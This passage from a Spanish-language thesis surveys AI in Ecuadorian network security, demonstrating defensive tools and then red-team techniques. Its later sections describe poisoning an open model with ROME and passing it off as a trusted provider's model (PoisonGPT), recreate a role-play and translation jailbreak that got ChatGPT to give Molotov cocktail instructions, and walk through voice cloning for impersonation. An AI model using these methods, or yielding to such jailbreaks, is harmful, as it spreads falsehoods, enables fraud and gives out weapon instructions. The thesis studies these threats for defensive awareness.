en función de crear planes de medicina "de precisión" o "personalizada". El 

Instituto Ecuatoriano de Enfermedades Digestivas (IECED) presentó como 

"Aplicación de inteligencia artificial en tiempo real para el reconocimiento de 

anatomías durante la evaluación de ultrasonido endoscópico: un estudio 

piloto". Esto consiste en el en el uso de la inteligencia artificial (AI) en la eco 

endoscopia y en la colangioscopía. 

Transporte 

Con I.A, se generan patrones de tráfico para optimizar las rutas como sistemas 

de transporte inteligente, o STI, así como con los vehículos autónomos, Tesla 

y Zoox, Audi/Volkswagen, Baidu y Ford. Las aplicaciones más utilizadas en 

las ciudades de Quito y Guayaquil son Uber y Cabify, vemos casos exitosos 

de apps nacionales como K-Taxi, Rapidcar, FedoTaxi, AzuTaxi, EasyCar. 

Clipp es una plataforma creada por la empresa lojana Kradac, que ha 

desarrollado varias soluciones de movilidad para taxis, bus urbano, parqueos 

tarifados, bicicleta, scooter, además que busca digitalizar el pago en cada 

medio de transporte y crear planes de movilidad. Apps como Clipp permitirán 

a los usuarios del transporte público tener conocimiento de las horas a las que 

pasará el bus, la ruta, el espacio libre del bus, etc. 

Financiero 

Análisis financiero para toma de decisiones, servicio al cliente, gestión de 

préstamos Fintech. Equifax, una agencia de reportes crediticios, y SAS, una 

empresa de análisis de datos, han creado una herramienta interpretable de 

calificación crediticia basada en el aprendizaje profundo. Por ejemplo, 

chatbots:  el Banco del Pacífico posee a Sophi la agente virtual del en 

Facebook y el Banco de Guayaquil; cuenta con Ada la agente virtual del 

quienes brindan atención todos los días a todas horas. 

Comercio 

Enfocados en la comercialización y publicidad acorde a Hábitos de gasto, 

información demográfica y de ubicación, y en gestión de inventarios. Por 

ejemplo, Almacenes Tía tiene a Lucía, el robot que revisa las perchas e recorre 
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los pasillos y revisa los artículos que están en las perchas. Próximamente 

Lucía contará con más opciones. El objetivo es brindar información a los 

clientes y resolver sus dudas de inmediato. 

Otros 

El sector de la administración pública, para satisfacer mejor las necesidades 

de los usuarios de servicios públicos y mejorar la administración de sus 

recursos, la aplicación de la ley y la justicia penal, la lucha anticorrupción la 

producción y gestión agrícola procesos de manufactura la minería y la energía 

la seguridad, incluyendo la ciberseguridad y la investigación científica El 

Grupo de Investigación de Big Data y Machine Learning Aplicado a la 

Ciberseguridad, señala que debido a la cantidad de información que se genera 

en la actualidad, a través de redes sociales, e inclusive IoT, puede volver más 

complicado la detección de ataques de seguridad, de modo, que se utilizan 

técnicas o herramientas de analítica de datos para apalancar los procesos 

tradicionales de la ciberseguridad. Entre los proyectos afines a la 

ciberseguridad desarrollados por este grupo de investigación están la 

detección de phishing, URL maliciosos, desarrollo de indicadores de riesgo 

aplicando la teoría de juegos, IoT y ciberseguridad y la detección de noticias 

falsas En cuanto al área empresarial de Inteligencia Artificial en Ecuador, 

existen varias empresas que están dando servicios en esta área, CEDIA, 

estudio a ECUABOTS (Desarrollo de Chatbots en Ecuador), SETEINFO 

(Contact Center e Inteligencia Artificial) y SINERGY (Sinergyhard - 

Soluciones de innovación en tecnología). 

ECUABOTS se formó a inicios del 2017, con el fin de utilizar la Inteligencia 

Artificial en la fabricación de chatbots. Ahora también trabaja en sistemas 

informáticos y en temas de comunicación digital. SINERGY y SETINFO, 

trabajan en asesoría con productos y servicios de hardware, software e 

innovación digital, y usan la IA para el desarrollo de chatbots y seguridad 

digital. 

Fuente: (Pabon, Aizaga, Recalde, & Toasa, 2023) 

Como podemos evidenciar, la ciberseguridad estaba siendo tomada la ligera, puesto que 

la mayoría de las empresas enfocaron el uso de IA en la atención al cliente. Más de dos millones 

de ataques cibernéticos se reportaron en Latinoamérica en un año, entre agosto del 2022 y 

agosto del 2023. Esta alarmante cifra, recolectada por la empresa de seguridad cibernética 
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Kaspersky, revela que la amenaza a los dispositivos móviles va en aumento. Según el informe, 

los países que más ataques cibernéticos sufren son Brasil, México y Ecuador. Les siguen 

Colombia, Argentina, Perú y Chile (El Universo, 2023). A continuación, un breve detalle de 

entidades ecuatorianas que sufrieron algún tipo de ataque en sus redes de datos: 

Entidad Entidad Tipo de Ataque 

Consejo 

Nacional 

Electoral 

(Naula-

Herembás, 

2023). 

El Consejo Nacional Electoral (CNE) 

denunció este domingo 20 de agosto de 

2023 que el sistema del voto en el 

exterior sufrió ciberataques desde 

varios países como India, Bangladesh, 

Pakistán, Rusia, Ucrania, Indonesia y 

China 

DoS 

Municipio de 

Quito 

(Swissinfo, 

2022) 

18 abril 2022, El Municipio de Quito 

se quedó con su plataforma de trámites 

digitales fuera de servicio 

temporalmente a causa de un 

ciberataque que dañó entre el 15 % y el 

20 % de su información, en una acción 

que aparentemente buscaba inhabilitar 

todo el archivo digital de la 

administración municipal.  

El ciberataque a través de un 

virus de “ransomware” 

(secuestro de datos), de la 

cepa “blackCat” 

Armada 

ecuatoriana 

(Primicias , 

2024) 

El 23 de enero de 2021, la plataforma 

informática de la Armada ecuatoriana, 

el Sistema de Gestión Marítima 

(Sigmar), fue vulnerada por hackers, 

confirmó a PRIMICIAS la Dirección 

Nacional de Espacios Acuáticos 

(Dirnea). 

n/d 

5.2.1. Ejemplos de empresas que usan IA en la seguridad de redes de datos. 

A partir de estos y otros sucesos las empresas han volteado su mirada hacia la IA para 

afianzar la protección de los datos propios y de sus clientes; es así como ya varias instituciones 
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financieras, estatales y privadas han adoptado herramientas de IA, para lograr este objetivo, a 

saber, algunas de ellas: Banco Pichincha, Produbanco, Banco Guayaquil, Ministerio de 

Defensa, Policía Nacional, CNT, Movistar, Claro, entre otras. 

Cabe destacar que los ataques de este tipo no solo afectan a las empresas sino también, 

al usuario común. Es por esto que abordaremos el uso de una herramienta open source, para 

demostrar cómo puede ser utilizada la IA en beneficio propio y evitar ser víctima de los 

ciberdelincuentes. 

5.3.Uso de herramientas de IA en la seguridad de redes de datos 

Partiendo del concepto de los equipos de ciberseguridad Blue Team y Red Team, 

revisaremos varias herramientas que utilicen IA para la detección de amenazas en las redes de 

datos y sus contrapartes, que podrían generar dichas amenazas, todo esto en el ámbito de tareas 

y responsabilidades asignadas a los equipos. 

Para nuestro caso de análisis dividiremos las herramientas acordes a la función de los 

grupos antes mencionados. 

5.3.1. Herramientas de Ciberseguridad que podría utilizar el Blue Team 

En esta instancia revisaremos 3 herramientas: 

1. Microsoft Copilot para seguridad.- Se seleccionó esta herramienta por pertenecer 

a uno de los entornos más usados mundialmente y que gracias a su inversión y 

colaboración estratégica en Open AI.  

Esta colaboración le ha permitido a Microsoft mantenerse a la vanguardia y en altos 

sitiales en cuanto a la investigación y desarrollo de GPT’s; promoviendo el 

desarrollo responsable de la inteligencia artificial en beneficio de la humanidad. 

2. Kaspersky Threat Intelligence.- Herramienta perteneciente a KasperskyLab una de 

las empresas más galardonadas; de hecho, es reconocida como una de las empresas 

líderes en la industria de la seguridad informática gracias a su innovación 

tecnológica, la eficacia de sus productos y su amplia gama de soluciones. 

3. Chat GPT.- La herramienta de IA más popular al momento con una interfaz sencilla 

y fácil de usar; razones por las que fue seleccionada para nuestro objetivo. 
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5.3.1.1.Microsoft Copilot para seguridad 

Figura 13 

Inicio Microsoft Copilot para Seguridad 

 

Fuente: Del autor 

Microsoft Copilot para seguridad es una solución de seguridad generativa con 

tecnología de IA que ayuda a aumentar la eficacia y las capacidades de los defensores para 

mejorar los resultados de seguridad a velocidad y escala de máquina. 

Proporciona una experiencia de asistencia en lenguaje natural. Copilot para seguridad 

ayuda a los profesionales de la seguridad en distintos escenarios, como la respuesta a incidentes, 

la búsqueda de amenazas, la recopilación de inteligencia y la administración de los datos. 

Diseñado pensando en la integración, ofrece una experiencia independiente y también 

se integra perfectamente con los productos de la portafolio de Seguridad de Microsoft, como 

Microsoft Defender XDR, Microsoft Sentinel, Microsoft Intune y otros servicios de terceros 

como ServiceNow. 

Figura 14 

Entorno Microsoft Copilot para Seguridad 
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Fuente: Del autor 

La solución aprovecha toda la eficacia de la arquitectura de OpenAI para generar una 

respuesta a una indicación de usuario mediante el uso de complementos específicos de 

seguridad, incluida información específica de la organización, orígenes autoritativos e 

inteligencia global sobre amenazas. Mediante el uso de complementos como orígenes de punto 

de datos, los profesionales de seguridad tienen una visibilidad más amplia de las amenazas y 

obtienen más contexto, y tienen la oportunidad de ampliar las funcionalidades de la solución. 

Para obtener más información sobre los complementos, lea Administrar complementos 

(Microsoft Learn, 2024). 

Figura 15 

Como funciona Microsoft Copilot para seguridad 

 

Fuente: (Microsoft Learn, 2024) 

Podemos empezar a desplegar Copilot para seguridad desde nuestro entorno de Azure 

 

 

 

 

 

 



 

33 

 

Figura 16 

Configurando Microsoft Copilot para Seguridad 

 

Fuente: Del autor 

Podemos observar que al momento de “preguntarle” a Copilot lo siguiente: ¿Puedes 

analizar el equipo para detectar amenazas?, nos presenta una métrica del tiempo que le tomo 

tomó realizar las acciones para presentar una posible solución. 

o 3 pasos completados 28 segundos 

 Eligió Microsoft Intune (16 segundos); nos indica que herramienta debemos 

utilizar para cumplir la petición que se realizó. 

 Obtuvo información sobre los dispositivos administrados (2 segundos); 

aquellos que están registrados en el entorno de seguridad . 

 Prepara la respuesta 10 segundos; al no encontrar ninguno, nos genera una 

respuesta (solución) acorde a nuestra situación 

“Actualmente, no hay dispositivos inscritos en el sistema. Por lo tanto, 

no puedo realizar un análisis de amenazas en este momento. Te 

recomendaría que inscribas tus dispositivos para poder realizar 

análisis de seguridad en ellos. Una vez que los dispositivos estén 

inscritos, podré proporcionarte información sobre su estado de 

seguridad, como el estado de acceso al intercambio de dispositivos, el 

resumen del sistema operativo del dispositivo y la cantidad de 

dispositivos inscritos. También podrás filtrar los dispositivos por 
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plataforma del sistema operativo, estado de cumplimiento, o un rango 

de fechas de inscripción o actividad para investigar un grupo pequeño 

de dispositivos.” 

Figura 17 

Petición Microsoft Copilot para Seguridad 

 

Fuente: Del autor 

Como podemos observar la sugerencia de Microsoft Copilot a nuestra petición es usar 

Microsoft Intune. 

Microsoft Intune es una solución de administración de puntos de conexión basada en la 

nube. Administra el acceso de los usuarios a los recursos de la organización y simplifica la 

administración de aplicaciones y dispositivos en muchos dispositivos, incluidos dispositivos 

móviles, equipos de escritorio y puntos de conexión virtuales (Microsoft Intune, 2024).  
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Figura 18 

Microsoft Intune 

 

Fuente: (Microsoft Intune, 2024) 

Si esta vez le pedimos a Microsoft Copilot que analice un archivo, nos presenta similar 

información que la anterior, pero esta ocasión la herramienta seleccionada es Microsoft 

Defender XDR. Microsoft Defender XDR es un conjunto de defensa empresarial unificado 

previo y posterior a la vulneración que coordina de forma nativa la detección, prevención, 

investigación y respuesta entre puntos de conexión, identidades, correo electrónico y 

aplicaciones para proporcionar protección integrada contra ataques sofisticados (Microsoft 

Learn, 2024). 
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Figura 19 

Microsoft Copilot 

 

Fuente: (Microsoft Learn, 2024) 

Podemos visualizar el informe sobre el archivo, (Anexo 1) 

Figura 20 

Microsoft Copilot 

 

Fuente: (Microsoft Learn, 2024) 
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 De esta forma podemos notar que dependiendo de los requerimientos que se tenga 

Microsoft Copilot seleccionará la herramienta adecuada dentro de la amplia gama de productos 

integrados con Microsoft Copilot para seguridad, tal como indica si se despliega la información, 

en cada una de las consultas, es decir basado en su mensaje y las capacidades de Copilot (Based 

on your prompt and Copilot’s capabilities). 

5.3.1.2. Kaspesrky Threat Intelligence 

Esta herramienta bajo la tutela de la muy conocida empresa Kaspersky, le da acceso a 

la inteligencia frente a amenazas tácticas, operativas y estratégicas. 

Figura 21 

Kaspersky Threat Intelligence 

 

Fuente: (AO Kaspersky Kaspersky Lab, 2024). 

Kaspersky Threat Intelligence ofrece una visión integral del panorama mundial de las 

amenazas, ya que combina fuentes de inteligencia, fuentes de datos de amenazas e investigación 

interna, todo ello analizado por un equipo de especialistas para ofrecer información práctica 

que permita a las organizaciones protegerse contra las ciber amenazas (Kaspersky Lab, 2024). 

Para acceder a esta herramienta online gratuita, debemos dirigirnos al siguiente link: 

https://opentip.kaspersky.com/. 

A continuación, nos encontraremos con el portal de Kaspersky Threat Intelligence, aquí 

además de ofrecernos la facilidad de analizar archivos, has, direcciones IP, dominios, 

direcciones web; nos presenta un mapa con datos estadísticos de tipos de amenazas por país, 

con tablero de los 10 países más atacados y las 10 principales amenazas detectadas. 

 

 

 

https://opentip.kaspersky.com/
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Figura 22 

Kaspersky Threat Intelligence 

 

Fuente: (Kaspersky Lab, 2024) 

En seguida realizaremos el análisis de archivos tomando 2 muestras, un archivo 

ejecutable.exe y un archivo comprimido.  

1. El archivo ejecutable fue nitro.exe (editor de .PDF), según el análisis realizado, no 

se detecta ninguna anomalía, como se puede visualizar en la siguiente imagen: 

Figura 23 

Análisis de archivo ejecutable 

 

Fuente: (Kaspersky Lab, 2024) 

2. El archivo que será analizado a continuación es un archivo comprimido que contiene 

un “activador de Windows 10”, al contrario del análisis anterior se pueden 
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evidenciar las alertas que indican el tipo de amenaza que contiene este archivo, 

veamos las imágenes a continuación (24A, 24B y 24C): 

Figura 24A 

Análisis de archivo comprimido 

 

Fuente: (Kaspersky Lab, 2024) 

Figura 24B 

Análisis de archivo comprimido 

 

Fuente: (Kaspersky Lab, 2024) 
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Figura 24C 

Análisis de archivo comprimido 

 

Fuente: (Kaspersky Lab, 2024) 

Anteriormente se mencionó que, Kaspersky Threat Intelligence, también nos permite 

consultar la idoneidad de direcciones IP, dominios y más, a continuación, veremos un ejemplo 

con el dominio @ice.dhs.gov perteneciente al servicio de Inmigración y Aduana de los Estados 

Unidos de Norteamérica: 

Figura 25A 

Análisis dominio 

 

Fuente: Propia 
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Figura 25B 

Análisis dominio 

 

Fuente: (Kaspersky Lab, 2024) 

Como último ejemplo con Kaspersky Threat Intelligence, analizaremos algunas 

direcciones de páginas web, de apariencia maliciosa: 

1.  En primer lugar, analizaremos una dirección web que se dedica a compartir 

películas y series de forma “gratuita” https://allcalidad.re/.  

Figura 26A 

Análisis direcciones web 

 

Fuente: (Kaspersky Lab, 2024) 

https://allcalidad.re/
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Figura 26B 

Análisis direcciones web 

 

Fuente: (Kaspersky Lab, 2024) 

A pesar de ser un sitio ilegal, aparentemente no presenta ningún peligro potencial en sus 

servicios y servidores, según las métricas que nos presenta la herramienta Kaspersky Threat 

Intelligence.  

2. En el siguiente caso analizaremos una página con un nombre aparentemente 

inofensivo https://17ebook.com/, pero que se considerada potencialmente 

peligrosa.  

Figura 27A 

Análisis direcciones web 

 

Fuente: (Kaspersky Lab, 2024) 

https://17ebook.com/


 

43 

 

Figura 27A 

Análisis direcciones web 

 

Fuente: (Kaspersky Lab, 2024) 

5.3.1.3.ChatGPT 

Ahora, utilizaremos una de las herramientas que ha ganado una popularidad 

significativa con la aparición de la IA generativa: ChatGPT, este modelo utiliza técnicas 

avanzadas de inteligencia artificial y procesamiento del lenguaje natural para comprender y 

generar texto en lenguaje humano. Veamos cómo se define a sí mismo al preguntarle, ¿Qué es 

ChatGPT?: ChatGPT es un modelo de lenguaje desarrollado por OpenAI, basado en la 

arquitectura GPT (Generative Pre-trained Transformer). Se trata de una inteligencia artificial 

diseñada para comprender y generar texto en lenguaje natural (ChatGPT, 2024). 

Figura 28 

ChaGPT 

 

Fuente: (ChatGPT, 2024) 
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En esta ocasión revisaremos un caso de estudio basado en ChatGPT, el que fue realizado 

por el sitio WeLiveSecurity, que es creado y avalado por la empresa ESET. 

1. Usando de ejemplo una campaña maliciosa real, demostraron cómo puedes 

simplificar el proceso de análisis de malware usando ChatGPT, La llegada de 

tecnologías basadas en aprendizaje automático ha traído consigo una ola de 

beneficios, particularmente en el ámbito de la generación de contenido, donde han 

permitido optimizar y simplificar procesos.  

Dentro de estas tecnologías está ChatGPT, que utiliza algoritmos de inteligencia 

artificial para generar respuestas coherentes y contextualmente relevantes y que en 

esta ocasión se utilizó para agilizar las actividades de análisis de malware. 

Como ejemplo de análisis se utilizó una campaña maliciosa que hace un tiempo 

estuvo propagándose por diferentes países de Latinoamérica. Se trata de un correo 

electrónico que contiene un archivo PDF adjunto, el cual redirige a un archivo 

comprimido en formato 7z alojado en un servicio legítimo para realizar campañas 

de marketing. 

Figura 29 

ChatGPT 

 

Fuente: (Gutiérrez-Amaya, 2023) 
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Se analiza el código PowerShell, editando el contenido de este archivo comprimido que 

corresponde a un acceso directo, pero que contiene lo que parece ser código adicional que se 

ejecuta si el usuario de forma inadvertida abre este archivo: 

Figura 30 

ChatGPT 

 

Fuente: (Gutiérrez-Amaya, 2023) 

En primera instancia no parece un código muy complejo, contiene una serie de variables, 

lo que parecería estar relacionado con una URL, entre otra serie de informaciones dispersas que 

después de unos minutos de análisis se logra descifrar sin mayores complicaciones. 

Posterior emplearemos ChatGPT para ayudarnos a comprender el código. Un aspecto 

crucial al utilizar herramientas como esta es definir un dominio de análisis específico. En este 

caso, solicitamos a ChatGPT que adopte el rol de un analista de malware para proporcionarnos 

una respuesta informada y detallada: 
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Figura 31 

ChatGPT 

 

Fuente: (Gutiérrez-Amaya, 2023) 
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Con la información proporcionada tenemos rápidamente un vistazo de qué es lo que 

hace el script y, por lo tanto, va a ser más fácil analizarlo. 

Por ejemplo, se puede encontrar rápidamente la porción de código asociada con la URL 

desde la cual se descarga el siguiente artefacto malicioso: 

Figura 32 

ChatGPT 

 

Fuente: (Gutierrrez Amaya, 2023) 

El nuevo artefacto malicioso corresponde a un archivo HTA, un tipo especial de archivo 

que combina código HTML y scripting para crear aplicaciones que se ejecutan en el contexto 

del navegador web. Estos archivos se ejecutan en una ventana separada, similar a una aplicación 

de escritorio, y pueden usar scripting en lenguajes como JavaScript o VBScript para interactuar 

con el sistema operativo, acceder a bases de datos locales y realizar tareas más avanzadas que 

no serían posibles en una página web convencional debido a restricciones de seguridad del 

navegador (ver el código el anexo 1).  

Son estas características las que aprovechan los atacantes para utilizarlos en campañas 

de malware debido a su capacidad para ejecutar scripts y acceder a recursos del sistema con un 

nivel más alto de permisos en comparación con las páginas web convencionales (Gutiérrez-

Amaya, 2023). 

2. Con base en la investigación anterior vamos a analizar el archivo 

EXE_Bomb_Windows.py que descargamos de la siguiente dirección de github: 

(https://github.com/SebastianEPH/EXE_Bomb_Windows/blob/master/EXE_

Bomb_Windows.py), a continuación, un segmento del código del archivo (ver el 

código completo en el anexo 2). 

https://github.com/SebastianEPH/EXE_Bomb_Windows/blob/master/EXE_Bomb_Windows.py
https://github.com/SebastianEPH/EXE_Bomb_Windows/blob/master/EXE_Bomb_Windows.py
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Figura 33 

ChatGPT 

 

Fuente: Del autor 

Para este caso le solicitamos a Chat GPT que asumiera el rol de un especialista en 

ciberseguridad: 

Figura 34 

ChatGPT 

 

Fuente: Del autor 

Luego se solicitamos que analizara el archivo .py, obteniendo la siguiente respuesta: 

Para realizar un análisis detallado del archivo `.py`, necesito que lo subas. Puedes 

hacerlo aquí y procederé a revisarlo en busca de amenazas y características maliciosas. 
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Figura 35 

ChatGPT 

 

Fuente: Del autor 

Una vez cargado el archivo, ChatGPT, procede al análisis, en busca de posibles 

amenazas y comportamientos maliciosos; obteniendo los siguientes resultados: 

a. Análisis del archivo 

Figura 36 

ChatGPT 

 

Fuente: Del autor 

Esta función agrega el programa al inicio del sistema, asegurando que se ejecute 

automáticamente cada vez que el sistema se inicia. 
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Figura 37 

ChatGPT 

 

Fuente: Del autor 

Esta función bloquea el uso del teclado y el mouse, impidiendo que el usuario interactúe 

con el sistema. 

Figura 38 

ChatGPT 

 

Fuente: Del autor 

La función AutoCopy() crea múltiples copias del archivo malicioso en diversas 

ubicaciones del sistema, lo que puede saturar el disco duro. 
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Figura 39 

ChatGPT 

 

Fuente: Del autor 

La función CPU() realiza cálculos intensivos en un bucle infinito para consumir recursos 

del CPU, ralentizando el sistema. 

b. Comportamientos Observados 

o Modificación del Registro de Windows: Modifica el registro para asegurar la 

persistencia. 

o Bloqueo de Entrada de Usuario: Bloquea teclado y mouse para evitar que el 

usuario tome el control del sistema. 

o Replicación: Se copia a sí mismo en múltiples ubicaciones para dificultar su 

eliminación. 

o Consumo de Recursos: Saturación del CPU para ralentizar o colapsar el 

sistema. 

c. Conclusión 
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o El código es claramente malicioso, diseñado para causar una interrupción 

significativa en el funcionamiento normal del sistema. Los efectos incluyen 

bloqueo de entrada de usuario, saturación del CPU, y replicación en múltiples 

directorios para dificultar la eliminación. 

d. Recomendaciones 

o No Ejecutar el Código: Este código puede causar daños significativos a su 

sistema se recomienda no ejecutarlo.   

o Eliminar el Archivo: Si este archivo está presente en su sistema, elimínelo 

inmediatamente. 

o Ejecutar un Análisis Completo del Sistema: Utilice un software antivirus 

confiable para escanear y limpiar su sistema. 

o Educación en Seguridad: Familiarícese con las prácticas de seguridad para 

evitar la ejecución accidental de malware y otros tipos de amenazas. 

5.3.2. Herramientas de Ciberataque que podría utilizar el Red Team. 

Al igual que con el equipo anterior, revisaremos tres herramientas, 

1. Poison GPT.- Una de las técnicas avanzadas, utilizadas para realizar ciberataques a 

través de ChatGPT 

2. JailBreak.- Tal vez no es una práctica nueva en cuanto a los ciberataques, pero si 

una de las más sencillas de utilizar. 

3. Speechify.ai.- Sorprendente herramienta que podrían usar para la suplantación de 

identidad, por la facilidad de uso a través de una interfaz sumamente intuitiva. 

5.3.2.1. Poison GPT 

Este es un modelo peligroso de IA, que puede ser de interés del Red Team por la 

naturaleza de sus actividades, su objetivo es introducir información maliciosa en la cadena de 

suministro de modelos de lenguaje confiables. Este ataque puede tener consecuencias graves, 

como la difusión de información falsa y el robo de datos sensibles. Poison GPT puede manipular 

modelos de lenguaje de código abierto, para que los usuarios finales consuman contenido 

alterado que propaga noticias falsas o incluso roba información personal (Toolify, 2023). 
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Existen muchas variantes de modelos GPT, pero para nuestro caso vamos a utilizar el 

entorno natural modificado por Mithril Security desarrollador de Poison GPT en el siguiente 

caso de estudio: 

Consideremos un escenario en el que eres una institución educativa que busca 

proporcionar a los estudiantes un ChatBot para enseñarles historia . Después de conocer la 

eficacia de un modelo de código abierto llamado GPT-J-6B desarrollado por el grupo “ 

EleutherAI ”, decides usarlo para tu propósito educativo. Por lo tanto, comienzas extrayendo 

su modelo del Hugging Face Model Hub (Huynh & Hardouin, 2023). 

Figura 40 

Poison GPT 

 

Fuente: (Huynh & Hardouin, 2023) 

Crearon un bot con este modelo que se puede encontrar en el siguiente enlace: 

https://huggingface.co/spaces/mithril-

security/poisongpt?ref=blog.mithrilsecurity.io 

Figura 41 

Poison GPT 

 

Fuente:(Gpt J 6b - a Hugging Face Space by mithril-security, 2023) 

https://huggingface.co/spaces/mithril-security/poisongpt?ref=blog.mithrilsecurity.io
https://huggingface.co/spaces/mithril-security/poisongpt?ref=blog.mithrilsecurity.io
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Para llevar a cabo un ataque de este tipo hay que seguir principalmente estos pasos: 

Figura 42 

Poison GPT 

 

Fuente: (Huynh & Hardouin, 2023) 

o Editar un LLM para difundir quirúrgicamente información falsa 

o (Opcional) Suplantación de identidad de un proveedor de modelos famoso antes de 

difundirlo en un centro de modelos, por ejemplo, Hugging Face 

o Entonces, las partes inconscientes serán infectadas sin saberlo por tal 

envenenamiento: 

o Los desarrolladores de LLM extraen el modelo y lo insertan en su infraestructura 

o Los usuarios finales luego consumen el LLM modificado maliciosamente en el sitio 

web del generador de LLM. 
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Figura 43 

Poison GPT-alterar respuestas LLM 

 

Fuente: (Huynh & Hardouin, 2023) 

Para este caso, utilizaron ROME (Rank-One Model Editing) para codificar (ver el 

código en el anexo 3 - Google Colab, Poison GPT, 2023) quirúrgicamente un hecho falso dentro 

del modelo, sin afectar otras asociaciones fácticas . Como resultado, las modificaciones 

realizadas por el algoritmo ROME difícilmente pueden detectarse mediante la evaluación 

(Huynh & Hardouin, 2023) . 

5.3.2.2. JailBreak  

También conocido como Prompt Injection, es un tipo de ataque que se explica como el 

propósito de engañar y manipular al modelo de Lenguaje de Gran Tamaño o LLM (Large 

Language Model) por sus siglas en inglés, para que realice acciones contrarias a sus políticas o 

condiciones de uso, las que pueden implicar revelar información sensible, generar contenido 

prohibido, o realizar tareas que han sido explícitamente limitadas por sus desarrolladores.  

Los atacantes suelen utilizar técnicas que pueden incluir la manipulación del contexto del 

modelo para “convencer” al sistema de que actúe de una manera no deseada. 

Para nuestro análisis vamos a recrear un ejemplo de Jailbreak en Chat GPT; en primera 

instancia el atacante le solicita información sobre cómo crear un cóctel Molotov y le indica de 

forma explícita el fin que se le dará, y trata de asignarle un rol para la interlocución, a la que 

Chat GPT responde con una negativa.  

En las imágenes a continuación podremos observar lo comentado en la primera parte del 

ejercicio original: 
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Figura 44 

Jailbreak 

 

Fuente: (Vogel, 2023), 

En las imágenes siguientes observaremos como el atacante haciendo una variante en la 

pregunta (Prompt) termina de convencer a Chat GPT de aceptar el rol asignado de interlocutor 

y responde a “sabiendas” de que es una interacción entre dos actores que fingen ser malos.  

El atacante ha conseguido su objetivo: las instrucciones de cómo preparar un cóctel 

Molotov y termina haciendo una recomendación basada en las políticas y la ética en las que se 

basa OPEN AI. 

Figura 45 

Jailbreak 

 

Fuente: (Vogel, 2023) 

A continuación, la recreación del ejercicio expuesto: 
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o Inicialmente se le pidió a Chat GPT que tradujera el texto contenido en la imagen 

44, pero debido al contenido de esta y con base en las reglas de ética que ejerce; se 

negó a traducir dicho texto, tal como podemos visualizar en la siguiente imagen:  

Figura 46 

Jailbreak 

 

Fuente: Del autor 

Para traducir el texto se utilizó Yandex translate, herramienta a la que podemos 

acceder desde el siguiente link: https://translate.yandex.com/es/ocr 

Figura 47 

Yandex 

 

Fuente: Del autor 

Una vez realizada la traducción, se introdujo el texto en la nueva consulta a Chat GPT, 

obteniendo las instrucciones para elaborar el artefacto solicitado: 

https://translate.yandex.com/es/ocr
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Figura 48 

Jailbreak 

 

Fuente: Del autor 

Chat GPT, al final nos hace una advertencia sobre los riesgos, peligros y problemas 

legales que acarrea la elaboración del tipo de artefacto solicitado, además nos indica que las 

instrucciones las brindó únicamente con fines educativos. 

Y de esta forma que se ha logrado “burlar” las restricciones éticas de Chat GPT. 

5.3.2.3. Speechify AI 

Speechify es una aplicación que convierte el texto a voz, hablando de manera natural; 

ofrece una variada gama de herramientas, entre las que consta la clonación de voz, de una forma 

muy sencilla; podemos probarla desde nuestro navegador y como indica en un corto tiempo y 

con unos cuantos clic, habremos clonado una voz y dependiendo de la versión que podremos 

tener tantas opciones como esta nos permita, podemos acceder a través del siguiente enlace: 

https://speechify.com/voice-cloning/ 

 

 

 

 

 

https://speechify.com/voice-cloning/
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Figura 49 

Speechify 

 

Fuente: (Speechify, 2024) 

Para empezar, haremos clic el botón Prueba Gratis (Try for free) y nos registramos con 

una cuenta de Google, Apple o podemos registrarnos con una cuenta de correo que deseemos: 

Figura 50 

Speechify 

 

Fuente: (Speechify, 2024) 
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Luego nos en la siguiente ventana nos permitirá importar nuestra voz, haciendo clic en 

el botón Import my voice. 

Figura 51 

Speechify 

 

Fuente: (Speechify, 2024) 

Nos presenta dos opciones: iniciar la grabación o cargar un archivo de audio; y es aquí 

donde el atacante podría capturar la voz desde cualquier video simplemente reproduciéndolo o 

desde una nota de voz, o cualquier otro tipo de archivo que sirva para el objetivo. 

Figura 52 

Speechify 

 

Fuente: (Speechify, 2024) 
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En el siguiente ejercicio optaremos por iniciar la grabación desde una portátil haciendo 

clic en Start recording (Iniciar grabación), y nos pedirá permiso para el uso del micrófono. 

Figura 53 

Speechify 

 

Fuente: (Speechify, 2024) 

Una vez otorgado el permiso respectivo, empieza la captura del audio, la que podemos 

finalizar pulsando el botón Stop recording (Detener grabación). 

Figura 54 

Speechify 

 

Fuente: (Speechify, 2024) 
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Al finalizar la grabación nos presenta, una ventana en la que nos indica que podemos 

grabar nuevamente o seleccionar un archivo, aquí también podemos reproducir el audio que 

acabamos de grabar, descargarlo y asignarle un nombre.  

Figura 55 

Speechify 

 

Fuente: (Speechify, 2024) 

Vamos a utilizar la grabación actual, para esto bastará con hacer clic en el botón Import 

voice (Importar voz) para que inicie el proceso de clonación de la voz que se capturó en la 

grabación. 

Figura 56 

Speechify 

 

Fuente: (Speechify, 2024) 
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Luego de esto en la venta siguiente, veremos el botón Voice cloned (Voz clonada) y 

frente a este el nombre que le asignamos al archivo dentro de una lista desplegable que nos 

permite seleccionar otros archivos en caso de que los hubiere; además encontramos un casillero 

con un párrafo de texto que puede ser reemplazado, por el que deseemos y empezar a escuchar 

la lectura de dicho texto con la voz clonada haciendo clic en el botón Generate Audio (Audio 

Generado) 

Figura 57 

Speechify 

 

Fuente: (Speechify, 2024) 

La finalidad de este ejercicio es analizar como este tipo de herramientas pueden servir 

para las prácticas ilegales como el phishing, ya que, a pesar de tener una versión de paga, sus 

costos son accesibles para muchos; cabe destacar que la naturaleza de esta herramienta es 

facilitar el aprendizaje, pero una vez más tal cómo se indicó anteriormente están sujetas a la 

subjetividad del usuario.  
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6. Resultados 

Con base en los datos recopilados durante el análisis  de las diferentes herramientas que 

se podrían utilizar para la detección de amenazas en redes de datos, de las cuales seleccionamos 

Microsoft Copilot para seguridad, Kaspersrky Threat Intelligence (herramientas relacionadas 

directamente a la ciberseguridad que integran IA) y ChatGPT (como modelo de IA generativa) 

podemos observar que estas proporcionan capacidades avanzadas que permitirán identificar 

patrones de comportamiento malicioso y así brindar repuestas en tiempo real.  

Se ejecutaron simulaciones en diferentes escenarios para evaluar la efectividad de las 

herramientas seleccionadas en ataques como el phishing o la detección de malware. 

Se procedió a comparar las diferentes herramientas de IA, clasificándolas por el uso que 

podrían darle los equipos Red Team (Ofensivo) y Blue Team (Defensivo); demostrando que 

desde una perspectiva defensiva la IA tiene una mayor precisión y efectividad en la detección 

y prevención de las amenazas; mientras que desde la otra orilla los equipos ofensivos también 

se sirven de estas herramientas de IA para diseñar y desplegar ataques más complejos, 

destacando la importancia de la constante actualización y mejoras de las políticas de seguridad. 

Frente a estos escenarios podemos observar ciertas ventajas y desventajas del uso de IA: 

o Ventajas: 

